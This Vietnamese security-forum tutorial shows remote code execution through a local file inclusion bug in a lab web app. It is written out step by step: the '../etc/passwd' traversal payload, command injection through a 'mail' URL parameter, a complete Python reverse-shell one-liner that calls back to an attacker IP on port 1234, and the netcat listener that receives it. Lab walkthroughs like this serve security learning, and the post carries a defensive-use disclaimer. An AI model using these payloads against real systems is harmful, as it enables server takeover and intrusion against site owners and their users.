RCE vulnerable và cách khai thác

krone

VIP Members
26/07/2016
141
259 bài viết
RCE vulnerable và cách khai thác
RCE là gì ?


RCE là viết tắt của Remote Code Execution - Thực thi code từ xa.


Tức là bạn có thể thông qua một kĩ thuật nào đó để có thể đạt được quyền điều khiển trên máy nạn nhân, thông qua đó có thể thực thi bash, shell...hoặc code của một vài ngôn ngữ kịch bản như python, perl, javascript...etc.


Ở bài viết này mình sẽ demo tấn công RCE thông qua lỗi LFI của một trang web. Thực tế thì chỉ demo một vài LFI cơ bản và thực thi code tại data post :D.


LFI là lỗi cơ bản của các trang web, thông thường là do lỗi cấu hình che dấu file và sai sót khi filter input form.


Ở đây mình có một trang web như sau:







Về cơ bản nó là một website được build sẵn do mình tìm kiếm được source trên internet.

Bắt đầu với lỗi LFI: ta sẽ thấy là có data đầu vào là “?page=home”. Với một lỗi LFI cơ bản thì ta có thể bắt đầu với payload là “../../../../etc/passwd”:







Như ta thấy thì nó đã show được nội dung của file /passwd trong đường dẫn /etc/passwd, một trong những file cơ bản mà hầu hết những người sử dụng Linux đều biết.


Tuy nhiên điều thú vị khi mình nhìn vào source html của trang web thì mình thấy có những href như sau:

Mã:
Coming Soon guys!



“?page=mailer&mail=mail” trông như mail được gửi lên server và thực hiện xác định mail gì đấy.


MÌnh thử lại với một command “whoami”....and:







Kết quả trả về là www-data, okey vậy là chúng ta có thể thực thi code từ đây. Hoặc cũng có thể lợi dụng lỗi LFI như ở &page. Hãy bắt đầu với một listener trên máy tấn công và get một shell reverse tcp như sau:


Mã:
http://192.168.91.137/?page=mailer&mail=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.91.138",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'








“192.168.91.138” là địa chỉ của máy attacker:


Trên máy attacker, ta sẽ lắng nghe trên port 1234 bằng lệnh nc -lvp 1234:







Ta đã có một reverse tcp session từ target :).

Từ đó ta có thể thực thi bất kỳ command hoặc thực thi bất kì script nào mà hệ thống của target có hỗ trợ.

Ví dụ như sau:






Anything…

Bài viết kết thúc tại đây.
Phần tới mình sẽ cố gắng thực hiện bài viết về leo thang đặc quyền ^_^. Cám ơn mọi người đã xem!


Continue....
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên